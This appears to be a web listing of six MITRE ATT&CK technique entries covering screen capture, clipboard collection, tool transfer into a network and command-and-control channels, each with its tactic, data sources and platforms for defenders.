Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre